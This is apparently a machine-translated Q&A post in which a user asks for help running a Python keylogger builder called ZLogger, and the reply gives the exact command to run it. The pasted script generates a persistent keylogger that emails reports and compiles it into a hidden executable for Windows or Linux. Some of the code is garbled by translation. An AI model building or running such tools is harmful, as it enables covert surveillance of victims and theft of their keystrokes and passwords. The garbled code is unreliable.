使用python的键盘记录器

时间:2018-12-10 17:14:18

标签: python keylogger

大家好,我正在尝试运行在与python编写的keylogger相关的github存储库中找到的现有代码,并且在runninig zloggers.py之后出现以下错误。有人知道哪里出了错吗?这是源代码{{3 }} 提前致谢。 等待回应

usage: zlogger.py [-h] [-i INTERVAL] [-w] [-l] [-e EMAIL] [-p PASSWORD] -o 

OUT
zlogger.py: error: argument -o/--out is required

据我了解,我应该输入带有密码的电子邮件,但我不知道我应该在这里键入什么required_arguments.add_argument("-o", "--out", dest="out", help="Output file name.", required=True)     #!/ usr / bin / env python     导入argparse     导入子流程     导入操作系统

WINDOWS_PYTHON_INTERPRETER_PATH = os.path.expanduser("~/.wine/drive_c/Python27/Scripts/pyinstaller.exe")

def get_arguments():
    parser = argparse.ArgumentParser(description='ZLogger v2.0')
    parser._optionals.title = "Optional Arguments"
    parser.add_argument("-i", "--interval", dest="interval", help="Time between reports in seconds.", default=120)
    parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
    parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')

    required_arguments = parser.add_argument_group('Required Arguments')
    required_arguments.add_argument("-e", "--email", dest="email", help="Email address to send reports to.")
    required_arguments.add_argument("-p", "--password", dest="password", help="Password for the email address given in the -e argument.")
    required_arguments.add_argument("-o", "--out", dest="out", help="Output file name.", required=True)
    return parser.parse_args()

def create_keylogger(file_name, interval, email, password):
    with open(file_name, "w+") as file:
        file.write("import keylogger\n")
        file.write("zlogger = keylogger.Keylogger(" + interval + ",'" + email + "','" + password + "')\n")
        file.write("zlogger.become_persistent()\n")
        file.write("zlogger.start()\n")

def compile_for_windows(file_name):
    subprocess.call(["wine", WINDOWS_PYTHON_INTERPRETER_PATH, "--onefile", "--noconsole", file_name])

def compile_for_linux(file_name):
    subprocess.call(["pyinstaller", "--onefile", "--noconsole", file_name])

arguments = get_arguments()
create_keylogger(arguments.out, arguments.interval, arguments.email, arguments.password)

if arguments.windows:
    compile_for_windows(arguments.out)

if arguments.linux:
    compile_for_linux(arguments.out)

print("\n\n[***] Don't forget to allow less secure applications in your Gmail account.")
print("Use the following link to do so https://myaccount.google.com/lesssecureapps")

1 个答案:

答案 0 :(得分:0)

如果您阅读它,错误消息似乎很清楚。您需要指定要输出到的文件。

zlogger.py -e randomemail@gmail.com -p randomPassword -o outfile.txt